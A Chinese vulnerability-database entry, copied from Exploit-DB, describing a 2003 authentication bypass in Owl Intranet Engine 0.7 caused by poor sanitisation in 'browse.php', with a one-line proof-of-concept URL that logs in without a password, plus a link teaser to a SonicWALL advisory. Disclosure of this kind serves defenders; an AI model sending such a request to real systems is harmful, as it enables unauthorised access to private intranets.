Owl Intranet Engine 0.7 – Authentication Bypass

漏洞ID	1053872	漏洞类型
发布时间	2003-05-14	更新时间	2003-05-14
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	PHP	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/22600

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/7595/info

Owl has been reported prone to an authentication bypass vulnerability.

The issue presents itself due to a lack of sufficient sanitization when checking the validity of usernames and passwords supplied to 'browse.php'.

An attacker may exploit this condition to bypass the Owl authentication system. 

http://www.example.com/intranet/browse.php?loginname=whocares&parent=1&expand=1&order=creatorid&sortposted=ASC

相关推荐: SonicWALL SOHO防火墙web服务器服务拒绝漏洞

SonicWALL SOHO防火墙web服务器服务拒绝漏洞漏洞ID 1206040 漏洞类型未知发布时间 2001-01-09 更新时间 2001-01-09 CVE编号 CVE-2000-1098 CNNVD-ID CNNVD-200101-083 漏…